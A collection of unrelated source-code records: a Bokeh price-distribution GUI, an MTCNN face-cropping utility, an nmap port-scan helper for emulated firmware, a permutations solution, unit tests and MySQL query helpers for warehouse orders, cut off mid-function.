px_dist_crude_df = QueryGUIData(data_config, ticker, 'px_dist_crude', False)\n px_dist_crude_source.data = dict(price=px_dist_crude_df['price'], prob=px_dist_crude_df['prob'])\n \n px_dist_manual_df = QueryGUIData(data_config, ticker, 'px_dist_manual', False)\n px_dist_manual_source.data = dict(price=px_dist_manual_df['price'], prob=px_dist_manual_df['prob'])\n else:\n px_dist_normalize_button.label = 'Unexpected px_dist_normalize_button.label! Contact support.'\n\n\n\"\"\"\ndef PrintUponChange(attrname, old, new):\n # Get the current slider values\n a = amplitude.value\n b = offset.value\n w = phase.value\n k = freq.value\n print(a,b,w,k)\n\n\nfor w in [offset, amplitude, phase, freq]:\n w.on_change('value', PrintUponChange)\n\"\"\"\n\n# update\npx_dist_manual_input_fig.on_change('value', UpdatePxDistManualOnChange)\npx_dist_manual_conviction_input_fig.on_change('value', UpdatePxDistManualConvictionOnChange)\nticker_input_fig.on_change('value', UpdateTickerOnChange)\npx_dist_crude_update_button.on_click(UpdatePxDistCrudeOnChange)\npx_dist_normalize_button.on_click(NormalizePxDistOnChange)\n\n\n\n# Set up layouts and add to document\n#interactions = widgetbox(text, offset, amplitude, phase, freq)\ninteractions = widgetbox(ticker_input_fig, px_dist_manual_input_fig, px_dist_manual_conviction_input_fig\n , px_dist_crude_update_button, px_dist_normalize_button)\n\ncurdoc().add_root(gridplot([ [desc]\n ,[interactions, px_dist_manual_fig, px_dist_crude_fig]\n ,[px_series_fig, None, None]\n ]))\n\n#curdoc().add_root(row(inputs, px_dist_manual_fig, width=800))\ncurdoc().title = \"DQ Project - Graphic User Interface\"\n\n\n","sub_path":"scripts/Python/bak/20181105_2/RunGUI_no_dist.py","file_name":"RunGUI_no_dist.py","file_ext":"py","file_size_in_byte":10526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"355761284","text":"import numpy as np\nimport natsort\nfrom PIL import Image\nimport shutil\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\nfrom pathlib import Path\nimport os\nfrom facenet_pytorch import MTCNN\nimport logging\nlogger = logging.getLogger(__name__)\n\n\npost_process = False\nimage_size = 160\n#TODO: make batch_size larger but need to make sure all images are the same size\nbatch_size = 1\n\nclass CustomDataSet(Dataset):\n def __init__(self, main_dir, all_imgs_paths, transform=None):\n self.main_dir = main_dir\n self.img_paths = all_imgs_paths\n self.transform = transform\n self.total_imgs = natsort.natsorted(self.img_paths)\n\n def __len__(self):\n return len(self.img_paths)\n\n def __getitem__(self, idx):\n #TODO: handle case when image is invalid\n img_loc = Path(self.main_dir) / Path(self.img_paths[idx])\n image = Image.open(str(img_loc)).convert(\"RGB\")\n if self.transform:\n tensor_image = self.transform(image)\n else:\n tensor_image = image\n return (tensor_image, str(self.img_paths[idx]))\n\n\ndef format_path_for_repeats(img_path,oldvalue, newvalue):\n '''Used to replace some values in string path of file(from right side),\n and to change extension type to png(non-compressible)'''\n x = img_path.rfind(oldvalue)\n if x == -1:\n raise Exception(\"did not find index\")\n replace_from_right_side = img_path[:x] + newvalue + img_path[x+len(oldvalue):] \n return change_extension(replace_from_right_side)\ndef collate_fn(x):\n return x[0]\ndef create_dataset(repo_path, image_paths, transform=None, num_workers=0, batch_size=batch_size):\n logger.info(\"create dataset\")\n dataset = CustomDataSet(main_dir=repo_path, all_imgs_paths=image_paths, transform=transform)\n loader = DataLoader(dataset, num_workers=num_workers,collate_fn=collate_fn,batch_size=batch_size)\n return dataset, loader\ndef change_extension(old):\n return os.path.splitext(old)[0]+'.png'\ndef get_face_path(path, repo_path, output_dir):\n logger.info(\"get_face_path\")\n #since a file might be in some directory structure replace / with _\n save_to_path = str(Path(repo_path) / output_dir / path.replace('/','_'))\n counter = 0\n save_to_path = format_path_for_repeats(save_to_path, \".\", f\"_{counter}.\")\n path_exists = Path(save_to_path).exists()\n while path_exists:\n save_to_path = format_path_for_repeats(save_to_path, f\"_{counter}.\", f\"_{counter+1}.\")\n path_exists = Path(save_to_path).exists()\n counter+=1\n logger.info(f\"save_to_path final is: {save_to_path}\")\n return save_to_path\n\ndef detect_faces(mtcnn,dataset,loader, repo_path, output_dir):\n logger.info(\"detect_faces\")\n img_paths = []\n face_paths = []\n faces = []\n for ii, _ in enumerate(loader):\n img, path = _\n try:\n with torch.no_grad():\n found_faces, prob = mtcnn(img, return_prob=True)\n if found_faces is not None:\n faces.extend(found_faces)\n num_faces = found_faces.shape[0] if found_faces.ndim == 4 else 1\n img_paths.extend([path]*num_faces)\n # write to file and store the file path\n for a_face in found_faces:\n obj = np.moveaxis(a_face.cpu().numpy().astype(np.uint8),0,2)\n im = Image.fromarray(obj)\n new_path = get_face_path(path, repo_path, output_dir)\n im.save(new_path)\n without_repo = str(Path(str(new_path).replace(repo_path, \"\")))\n face_paths.append(without_repo)\n# print(f'Face {num_faces} facesdetected with probability {np.round(prob, 8)}')\n if ii % 10 == 0:\n print(ii)\n except Exception as e:\n print(e)\n return (faces, img_paths, face_paths)\n\n\ndef create_faces(mtcnn, image_paths, repo_path, output_dir=\".faces\"):\n logger.info(\"create_faces\")\n logger.info(f\"image paths is: {image_paths}\")\n logger.info(f\"repo path is: {repo_path}\")\n logger.info(f\"output_dir is {output_dir}\")\n mtcnn.eval()\n (Path(repo_path) / output_dir).mkdir(parents=True, exist_ok=True)\n # device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n train_dataset, train_loader = create_dataset(repo_path, image_paths)\n faces, faces_img_path, face_paths = detect_faces(mtcnn,train_dataset,train_loader, repo_path, output_dir)\n return list(zip(faces_img_path, face_paths))\n\nif __name__ == \"__main__\":\n # repo_path=\"photos/seniors_hra/\"\n output_dir=\"faces\"\n\n\n image_paths = []\n extensions = ['.jpg','.JPG']\n for ext in extensions:\n for path in Path(repo_path).rglob(f\"*{ext}\"):\n if output_dir not in str(path):\n formatted_path = Path(str(path).replace(repo_path, \"\"))\n image_paths.append(str(formatted_path))\n print(image_paths)\n \n face_img_paths, face_paths, faces = create_faces(image_paths, repo_path, output_dir)\n assert len(face_img_paths) == len(face_paths)\n print(len(face_img_paths))\n\n # import pandas as pd\n # pd.DataFrame({'face_img_paths':face_img_paths,'face_paths':face_paths}).shape\n # assert (pd.DataFrame({'face_img_paths':face_img_paths,'face_paths':face_paths}) == pd.read_csv('test_against.csv',index_col=0)).all().all()\n","sub_path":"services/worker/api/utils/FaceDetector.py","file_name":"FaceDetector.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"554762308","text":"#!/usr/bin/env python3\nimport sys\nimport re\nfrom psql_firmware import psql\n\n\ndef psql0(q, v=None):\n return psql(q, v)[0][0]\n\n\ndef parse_nmap_log(nmap, iid):\n services = []\n for line in nmap:\n m = re.search(r\"^(\\d+)/(tcp|udp)\\s+(\\w+)\\s+(\\w+)\", line)\n if m:\n port, pro, _, service = m.groups()\n services += [(port, pro, service)]\n if services:\n psql(\n \"UPDATE image SET open_ports = %(services)s::TEXT[] WHERE id=%(iid)s\",\n locals())\n\n\ndef main():\n iid = int(sys.argv[1])\n guestip = psql0(\"SELECT guest_ip FROM image WHERE id=%d\" % iid)\n print('guestip=', guestip)\n from subprocess import Popen\n pp = Popen(\n # 'sudo /usr/local/bin/nmap -e tap%(iid)s -T4 -sS -sU --top-ports 500 -v %(guestip)s'\n 'sudo nmap -e tap%(iid)s --top-ports 20000 -v %(guestip)s'\n '| tee nmap.log.txt 2>&1' % locals(),\n shell=True,\n bufsize=1, stderr=sys.stdout, stdout=sys.stdout, universal_newlines=True)\n pp.wait()\n with open('nmap.log.txt', 'r') as nmap:\n parse_nmap_log(nmap, iid)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/nmap_scan.py","file_name":"nmap_scan.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"19375281","text":"'''\n网友实现:http://bookshadow.com/weblog/2016/09/09/leetcode-permutations/\nLeetCode 46:Permutations\nGiven a collection of distinct numbers, return all possible permutations.\n\nFor example,\n[1,2,3] have the following permutations:\n[\n [1,2,3],\n [1,3,2],\n [2,1,3],\n [2,3,1],\n [3,1,2],\n [3,2,1]\n]\n'''\n\n\nclass Solution(object):\n def permute(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[List[int]]\n \"\"\"\n if len(nums) <= 1: return [nums]\n ans=[]\n for i, num in enumerate(nums):\n n = nums[:i] + nums[i + 1:]\n for y in self.permute(n):\n ans.append([num] + y)\n return ans","sub_path":"LeetCode-Python2/2017.1/LeetCode46-Permutations.py","file_name":"LeetCode46-Permutations.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"353849576","text":"# helper modules\nimport os\nimport sys\n\nsys.path.insert(0, \"..\")\nsys.path.append(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir))\nfrom Util.pyt import run\nfrom P54 import main\n\n############ TEST CASES BEGIN ############\n\n\ndef test_case1():\n\tinp = \"1\\n101\\n102\\n-1\\n2\\n101\\n18\\n80\\n90\\n45\\n3\\n101\\n4\\n5\\n101\\n6\"\n\tout = \"[18.0, 80.0, 90.0, 45.0]\\n8.6\\nB\"\n\tres = run(main, inp)\n\tassert (out == res)\n\n\n\ndef test_case2():\n\tinp = \"1\\n101\\n102\\n-1\\n2\\n101\\n18\\n80\\n90\\n45\\n3\\n102\\n6\"\n\tout = \"ERROR: Student roll number marks information unavailable\"\n\tres = run(main, inp)\n\tassert (out == res)\n\n\ndef test_case3():\n\tinp = \"1\\n101\\n102\\n103\\n104\\n105\\n-1\\n6\"\n\tout = \"\"\n\tres = run(main, inp)\n\tassert (out == res)\n\n\ndef test_case4():\n\tinp = \"6\"\n\tout = \"\"\n\tres = run(main, inp)\n\tassert (out == res)\n\ndef test_case5():\n\tinp = \"1\\n102\\n103\\n104\\n-1\\n2\\n102\\n13\\n58\\n71\\n35\\n3\\n102\\n4\\n5\\n102\\n6\"\n\tout = \"[13.0, 58.0, 71.0, 35.0]\\n6.47\\nD\"\n\tres = run(main, inp)\n\tassert (out == res)\n\ndef test_case6():\n\tinp = \"1\\n101\\n-1\\n2\\n101\\n25\\n98\\n67\\n42\\n6\"\n\tout = \"ERROR: Invalid Marks 25.0 > 20\"\n\tres = run(main, inp)\n\tassert (out == res)\n\ndef test_case7():\n\tinp = \"1\\n101\\n-1\\n2\\n101\\n-2\\n98\\n67\\n42\\n6\"\n\tout = \"ERROR: Invalid Marks -2.0 < 0\"\n\tres = run(main, inp)\n\tassert (out == res)\n\n\n\ndef test_case8():\n\tinp = \"1\\n101\\n-1\\n2\\n101\\n20\\n102\\n67\\n42\\n6\"\n\tout = \"ERROR: Invalid Marks 102.0 > 100\"\n\tres = run(main, inp)\n\tassert (out == res)\n\n############# TEST CASES END #############\n\n######## ADD MORE TEST CASES BELOW #######\n\n# def test11():\n# inp = '''input'''\n# out = '''output'''\n# res = run(main, inp)\n# assert(res == out)\n\n","sub_path":"Day5/P54_test.py","file_name":"P54_test.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"94788980","text":"#!/usr/bin/python3\n#coding=utf-8\n\nimport sys\nsys.path.insert(0,'../')\nfrom Config.Setting\timport *\nfrom Utils.Logger import logger\nfrom Utils.Records_MySQL import MY_Conn\nfrom Utils.Burndown import Time_BurnDown\n\ndef connect_Garencieres_VerifyStockinStatus_By_OrderNumber(schema, OrderNumber):\n\t# 通过订单去查询验货入库之后的入库号,以及入库号状态\n\tquerystring = '''\n\t\tSelect osoi.stockin_code, oss.stockin_status_id\n\t\t from oper_order oo\n\t\t left join {0}.oper_stockin_order_item osoi on oo.order_id = osoi.order_id and oo.order_item_id = osoi.order_item_id\n\t\t left join {0}.oper_stockin_status oss on osoi.stockin_code = oss.stockin_code\n\t\t where oo.order_number = '{1}'\n\t'''.format(schema, OrderNumber)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回有且只有一条记录, 并且StatusID = 6 已完成\n\t\tif recordset and int(recordset[0][1]) ==1:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\texcept Exception as e:\n\t\tlogger.error('获取MySQL数据失败。错误信息如下:\\n{}'.format(e))\n\t\treturn \n\ndef connect_Eltreum_VerifyTaskAssignmentStatus_By_OrderNumber(schema, OrderNumber, StatusID):\n\t# 通过OrderNumber来获取任务分配之后的订单状态ID 是否 = 4 已分配\n\tquerystring = '''\n\t\tSelect stat.purchase_order_status_id\n\t\t from {0}.oper_purchase_order src\n\t\t join {0}.oper_order_status stat on stat.oper_purchase_order_id = src.id\n\t\t join {0}.dic_purchase_order_status dic_stat on dic_stat.id = stat.purchase_order_status_id\n\t\t where src.Order_Number = '{1}'\n\t'''.format(schema, OrderNumber)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回只有一条记录, 并且StatusID = 6 已完成\n\t\t# print(recordset)\n\t\tif int(recordset[0][0])== StatusID:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\texcept Exception as e:\n\t\tlogger.error('请求获取Eltreum.oper_purchase_order的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn \n\ndef connect_Eltreum_Need2WMSInfo_By_NickName(schema, nickname):\n\tquerystring = '''\n\t\tSelect distinct gpid, gpid_version, sku_id\n\t\t from {0}.oper_purchase_order\n\t where nick_name = '{1}'\n\t'''.format(schema, nickname)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('请求获取Eltreum.oper_purchase_order的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn \n\ndef connect_Garencieres_NeedAssignedPickingJobCodes_By_WarehouseAreaID(schema, areaID, jobstatus, global_time=OrdersRange_StartTime):\n\t# 通过入库号去获取相应的拣货任务单号跟PickingID\n\tquerystring = '''\n\t\tSelect opj.id as pickingid, opj.code as pickjob_Code,picker_id,opj.picking_job_status_id,opj.warehouse_area_id\n\t\t from {0}.oper_picking_job opj\n\t\t join {0}.dic_picking_job_status dpjs on dpjs.id = opj.picking_job_status_id\n\t\t where dpjs.description = '{2}' and warehouse_area_id = {1} and opj.create_date > {3}\n\t'''.format(schema, areaID, jobstatus, global_time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('请求获取garencieres.oper_picking_job的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn\n\ndef connect_Garencieres_VerifyPickingJobStatus_By_PickingJobID(schema, pickjobId):\n\t# 通过入库号去获取相应的拣货任务单号跟PickingID\n\tquerystring = '''\n\t\tSelect opj.id as pickingid\n\t\t\t ,opj.code as pickjob_Code\n\t\t\t ,picker_id\n\t\t\t ,opj.picking_job_status_id\n\t\t\t ,dpjs.description as pickjng_job_status\n\t\t\t ,opj.warehouse_area_id\n\t\t from {0}.oper_picking_job opj\n\t\t join {0}.dic_picking_job_status dpjs on dpjs.id = opj.picking_job_status_id\n\t\t where opj.id = {1}\n\t'''.format(schema, pickjobId)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\tif recordset:\n\t\t\t# 默认只有一条记录\n\t\t\treturn recordset[0]\n\t\telse:\n\t\t\treturn \n\texcept Exception as e:\n\t\tlogger.error('请求获取garencieres.oper_picking_jon的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn\n\ndef connect_OMS_PurchaseOrderRecords_By_Nickname(Schema, Nickname, Global_Time=OrdersRange_StartTime):\n\t# 获取Nickname 新下的订单是否在OMS库中落地。\n\tquerystring = '''\n\t\tSelect uo.id as order_id\n\t\t\t\t,uoi.id as order_item_id\n\t\t\t\t,uoi.prosource_region_id as '采购地'\n\t\t\t\t,uoi.shipment_type_id\n\t\t\t\t,uo.service_type_id\n\t\t\t\t,uo.pay_type_id\n\t\t\t\t,uo.customer_id\n\t\t\t\t,uo.party_id\n\t\t\t\t,uo.order_date\n\t\tfrom {0}.user_order uo\n\t\tleft join {0}.`user_order_item` uoi on uoi.order_id = uo.id\n\t\tjoin {0}.oms_customer oc on oc.customer_id = uo.customer_id\n\t\twhere oc.nick_name = '{1}' and uo.order_date > {2}\n\t'''.format(Schema,Nickname,Global_Time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(Schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('connect_OMS_PurchaseOrderRecords_By_Nickname()请求失败。错误信息如下:{}.'.format(e))\n\t\treturn\n\ndef connect_OMSSync_PurchaseOrder_By_OrderInfo(OrderID, OrderItemID, Schema = 'oms_sync'):\n\t# 通过OrderID + OrderItemID 来判断订单是否存在。 \n\tquerystring = '''\n\t\tSelect opo.order_id\n\t\t\t,opo.order_item_id\n\t\t\t,opo.id as purchase_order_id\n\t\t\t,opo.party_id\n\t\t\t,opo.order_number\n\t\t\t,opos.purchase_order_status_id\n\t\t\t,dpos.description as purchase_status\n\t\t\t,opo.nick_name\n\t\t\t,opo.region_id\n\t\t\t,opo.service_type_id\n\t\t\t,opo.shipment_type_id\n\t\t\t,opo.prosource_region_id\n\t\t\t,opo.delivery_type_id\n\t\t\t,opo.station_type_id\n\t\tfrom {0}.oper_purchase_order opo\n\t\tjoin {0}.oper_purchase_order_status opos on opos.oper_purchase_order_id = opo.id\n\t\tjoin oms_global.dic_purchase_order_status dpos on dpos.id = opos.purchase_order_status_id\n\t\twhere opo.order_id = {1} and opo.order_item_id = {2}\n\t'''.format(Schema,OrderID,OrderItemID)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(Schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('connect_OMS_PurchaseOrderRecords_By_Nickname()请求失败。错误信息如下:{}.'.format(e))\n\t\treturn\n\ndef connect_DomainInfo_By_OrderNumber(Eltreum_Schema, Oms_Schema, OrderNumber):\n\tquerystring = '''\n\t\tSelect eltreum.order_number,eltreum.order_id_mysql, eltreum.order_item_id_mysql, eltreum.product_url, domain.domain\n\t\tfrom {0}.oper_purchase_order eltreum\n\t\tjoin {1}.oms_item_domain oms_domain on oms_domain.order_id = eltreum.order_id_mysql\n\t\t\t\t\t\t\t\t\t\t\t\tand oms_domain.order_item_id = eltreum.order_item_id_mysql\n\t\tjoin oms_global.dic_domain domain on domain.id = oms_domain.domain_id\n\t\twhere eltreum.order_number = '{2}'\n\t'''.format(Eltreum_Schema,Oms_Schema,OrderNumber)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(Eltreum_Schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('connect_DomainInfo_By_OrderNumber()请求失败。错误信息如下:{}.'.format(e))\n\t\treturn\n\ndef connect_TaskAssignmentStatus_By_OrderNumber(Eltreum_Schema, OrderNumber):\n\tquerystring = '''\n\t\t\tSelect src.order_number, stat.purchase_order_status_id\n\t\t from {0}.oper_purchase_order src\n\t\t join {0}.oper_order_status stat on stat.oper_purchase_order_id = src.id\n\t where src.order_number = '{1}' \n\t\t'''.format(Eltreum_Schema,OrderNumber)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(Eltreum_Schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('connect_TaskAssignmentStatus_By_OrderNumber()请求失败。错误信息如下:{}.'.format(e))\n\t\treturn\n\ndef connect_OMS_OrderStatus_By_OrderInfo(OMS_Schema, OrderID, OrderItemID):\n\tquerystring = '''\n\t\tSelect oms.order_id, oms.order_item_id, oms.status_id,oms.content,ezstatus.description as status_desc \n\t\tfrom {0}.oms_order_item_status_history oms \n\t\tjoin oms_global.dic_order_item_status ezstatus on ezstatus.id = oms.status_id\n\t\twhere oms.order_id = {1} and oms.order_item_id ={2} \t\n\t'''.format(OMS_Schema, OrderID, OrderItemID)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(OMS_Schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('connect_TaskAssignmentStatus_By_OrderNumber()请求失败。错误信息如下:{}.'.format(e))\n\t\treturn\n\n# >>>>>>>>>>>>>>>>>>>>>New Method to fetch DB records from 2018-10-22>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\ndef odbc_Eltreum_TaskAssigment_Records(schema, nickname, statusid, global_time=OrdersRange_StartTime):\n\t# 直接通过nickname,查询并获取采购单状态 = 已过虑 的记录\n\tquerystring = '''\n\t\tSelect src.order_number\n\t\t\t,stat.purchase_order_status_id\n\t\t\t,dic_stat.description as purchase_order_status_name\n\t\t from {0}.oper_purchase_order src\n\t\t join {0}.oper_order_status stat on stat.oper_purchase_order_id = src.id\n\t\t join {0}.dic_purchase_order_status dic_stat on dic_stat.id = stat.purchase_order_status_id\n\t\t where stat.purchase_order_status_id = {1}\n\t\t and src.nick_name = '{2}' and src.create_date>{3}\n\t'''.format(schema, statusid, nickname,global_time)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回的是一个二维元祖数组, 需要将相应的OrderNumber取出来并存在一个List中。\n\t\tif recordset:\n\t\t\treturn True\n\t\t\t# # 返回一条记录\n\t\t\t# if len(recordset) ==1:\n\t\t\t# \tOrderNumbers_List = [recordset[0][0]]\n\t\t\t# # 返回多条记录\n\t\t\t# else:\n\t\t\t# \tOrderNumbers_List =[]\n\t\t\t# \ti = 0\n\t\t\t# \twhile i < len(recordset):\n\t\t\t# \t\tOrderNumbers_List.append(recordset[i][0])\n\t\t\t# \t\ti+=1\t\n\t\t\t# return OrderNumbers_List\n\t\telse:\n\t\t\tlogger.warning('目前没有找到会员<{0}>的采购任务,请稍后再尝试。'.format(nickname))\n\t\t\treturn False\n\texcept Exception as e:\n\t\tlogger.error('odbc_Eltreum_TaskAssigment_Records.\\n错误信息如下:{}'.format(e))\n\t\treturn None\n\ndef odbc_Eltreum_PlaceOrder_Records(schema, nickname, statusid, global_time=OrdersRange_StartTime):\n\t# 直接通过nickname,查询并获取purchaseorderstatusID = 3 (已过虑)的记录\n\tquerystring = '''\n\t\tSelect src.order_number\n\t\t\t,stat.purchase_order_status_id\n\t\t\t,dic_stat.description as purchase_order_status_name\n\t\t from {0}.oper_purchase_order src\n\t\t join {0}.oper_order_status stat on stat.oper_purchase_order_id = src.id\n\t\t join {0}.dic_purchase_order_status dic_stat on dic_stat.id = stat.purchase_order_status_id\n\t\t where stat.purchase_order_status_id = {1}\n\t\t and src.nick_name = '{2}'\n\t\t and src.create_date > {3}\n\t'''.format(schema, statusid, nickname, global_time)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回的是一个二维元祖数组, 需要将相应的OrderNumber取出来并存在一个List中。\n\t\tif recordset:\n\t\t\t# 返回一条记录\n\t\t\tif len(recordset) ==1:\n\t\t\t\tOrderNumbers_List = [recordset[0][0]]\n\t\t\t# 返回多条记录\n\t\t\telse:\n\t\t\t\tOrderNumbers_List =[]\n\t\t\t\ti = 0\n\t\t\t\twhile i < len(recordset):\n\t\t\t\t\tOrderNumbers_List.append(recordset[i][0])\n\t\t\t\t\ti+=1\t\n\t\t\treturn OrderNumbers_List\n\t\telse:\n\t\t\tlogger.warning('目前没有找到会员<{0}>的采购任务,请稍后再尝试。'.format(nickname))\n\texcept Exception as e:\n\t\tlogger.error('odbc_Eltreum_PlaceOrder_Records请求失败.\\n错误信息如下:{}'.format(e))\n\t\treturn \n\ndef odbc_Garencieres_ReadyPutaway_Records(schema,Nickname,global_time=OrdersRange_StartTime):\n\t# 通过Nickname 获取 入库号 = 已入库 的记录 并返回 入库号 + 货架号\n\tquerystring='''\n\t\tSelect os.code as stockin_code, dl.code as location_code\n\t\tfrom {0}.oper_stockin os\n\t\tjoin {0}.oper_stockin_status oss on oss.stockin_code = os.code\n\t\tjoin {0}.dic_location dl on dl.id = os.location_id\n\t\twhere nick_name = '{1}' and oss.stockin_status_id = 1 and os.create_date>{2}\n\t'''.format(schema,Nickname,global_time)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('获取MySQL数据失败。错误信息如下:\\n{}'.format(e))\n\t\treturn\n\ndef odbc_Garencieres_ReadyStockin_Records(schema, nickname,global_time=OrdersRange_StartTime):\n\t# 获取会员还没入库成功的Order Number\n\tquerystring = '''\n\t\tSelect distinct oo.order_number, osoi.stockin_code,oss.stockin_status_id,dss.description\n\t\t from {0}.oper_order oo\n\t\t join {0}.oper_order_status stat on stat.oper_purchase_order_id = oo.purchase_order_id\n\t\t left join {0}.oper_stockin_order_item osoi on osoi.order_id = oo.order_id and osoi.order_item_id = oo.order_item_id\n\t left join {0}.oper_stockin_status oss on oss.stockin_code = osoi.stockin_code\n\t left join {0}.dic_stockin_status dss on dss.id = oss.stockin_status_id\n\t\t where oo.nick_name = '{1}' and stat.purchase_order_status_id = 6 \n \t and (osoi.stockin_code is null or oss.stockin_status_id = 6)\n\t\t and oo.create_date > {2}\n\t'''.format(schema, nickname, global_time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t# 默认返回的是一个二维元祖数组, 需要将相应的OrderNumber取出来并存在一个List中。\n\t\tif recordset:\n\t\t\t# 返回一条记录\n\t\t\tif len(recordset) ==1:\n\t\t\t\tOrderNumbers_List = [recordset[0][0]]\n\t\t\t# 返回多条记录\n\t\t\telse:\n\t\t\t\tOrderNumbers_List =[]\n\t\t\t\ti = 0\n\t\t\t\twhile i < len(recordset):\n\t\t\t\t\tOrderNumbers_List.append(recordset[i][0])\n\t\t\t\t\ti+=1\t\n\t\t\treturn OrderNumbers_List\n\t\t# else:\n\t\t# \tlogger.warning('目前没有找到会员<{0}>的验货入库任务,请稍后再尝试。'.format(nickname))\n\texcept Exception as e:\n\t\tlogger.error('获取MySQL数据失败。错误信息如下:\\n{}'.format(e))\n\t\treturn \n\ndef odbc_Garencieres_ReadyAssignPickingJob_Records(schema, areaID, jobstatus, global_time=OrdersRange_StartTime):\n\t# 通过入库号去获取相应的拣货任务单号跟PickingID\n\tquerystring = '''\n\t\tSelect opj.id as pickingid, opj.code as pickjob_Code,picker_id,opj.picking_job_status_id,opj.warehouse_area_id\n\t\t from {0}.oper_picking_job opj\n\t\t join {0}.dic_picking_job_status dpjs on dpjs.id = opj.picking_job_status_id\n\t\t where dpjs.description = '{2}' and warehouse_area_id = {1} and opj.create_date > {3}\n\t'''.format(schema, areaID, jobstatus, global_time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\treturn recordset\n\texcept Exception as e:\n\t\tlogger.error('请求获取garencieres.oper_picking_jon的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn\n\ndef odbc_Garencieres_ReadyPickingStockin_Records(schema, Nickname,global_time=OrdersRange_StartTime):\n\t# 获取拣货任务编号-大货拣货 + 一次性到齐\n\t# 入库号状态ID:2,4 分别代表 已拣货, 已下架\n\t# 大货拣货对应的入库号状态 5 - 已打包(放弃维护)\t\n\tquerystring='''\n\t\tSelect op.picking_job_code as '拣货任务编号'\n\t\t\t ,op.code as '拣货单号'\n\t\t ,ops.stockin_code as '入库号'\n\t\t ,op.warehouse_area_id as '库区ID'\n\t\t ,dl.location_type_id as '货架类型ID'\n\t\t ,op.service_type_id as '取货方式ID'\n\t\t ,op.shipment_type_id as '运输方式ID'\n \t ,os.warehouse_id as '仓库ID'\n ,op.picking_weight\n\t\t ,oss.stockin_status_id\n\t\t ,opj.id as picking_id \n\t\t ,opj.picker_id\n\t\t ,opj.picking_job_status_id\n\t\t ,op.location_id\n\t\t ,op.wave_id\n\t\t ,op.stock_in_num\n\t\t From {0}.oper_picking_stockin ops\n\t\t Join {0}.oper_picking op on op.id = ops.picking_id\n\t\t Join {0}.oper_picking_job opj on opj.code=op.picking_job_code\n\t\t Join {0}.oper_stockin_status oss on oss.stockin_code = ops.stockin_code\n\t\t Join {0}.oper_stockin os on os.code = oss.stockin_code\n\t\t Left Join {0}.dic_location dl on dl.id = op.location_id\n\t\t where os.nick_name = '{1}' and oss.stockin_status_id in (2,4,5,13) and oss.create_date > {2}\n\t'''.format(schema,Nickname,global_time)\n\t# print(querystring)\n\ttry:\n\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\treturn recordset\n\n\texcept Exception as e:\n\t\tlogger.error('请求获取Garencieres.oper_picking的记录失败。\\n错误信息如下:{}'.format(e))\n\t\treturn\n\ndef odbc_Chaplin_ReadyScanPackage_Records(schema,nickname,global_time=OrdersRange_StartTime):\n\t\t# 获取二级包裹号\n\t\tquerystring= '''\n\t\t\tSelect package_code, shipment_type_id, warehouse_id, logistics_provider_id, dispatch_provider_id, delivery_type_id, origin_country_code, total_value, is_pick_big, send_state\n\t\t\tfrom {0}.oper_invoice\n\t\t\twhere nick_name = '{1}' and create_date>{2}\n\t\t'''.format(schema,nickname,global_time)\n\t\ttry:\n\t\t\trecordset = MY_Conn.get_DatafromMySQL(schema,querystring)\n\t\t\treturn recordset\n\t\texcept Exception as 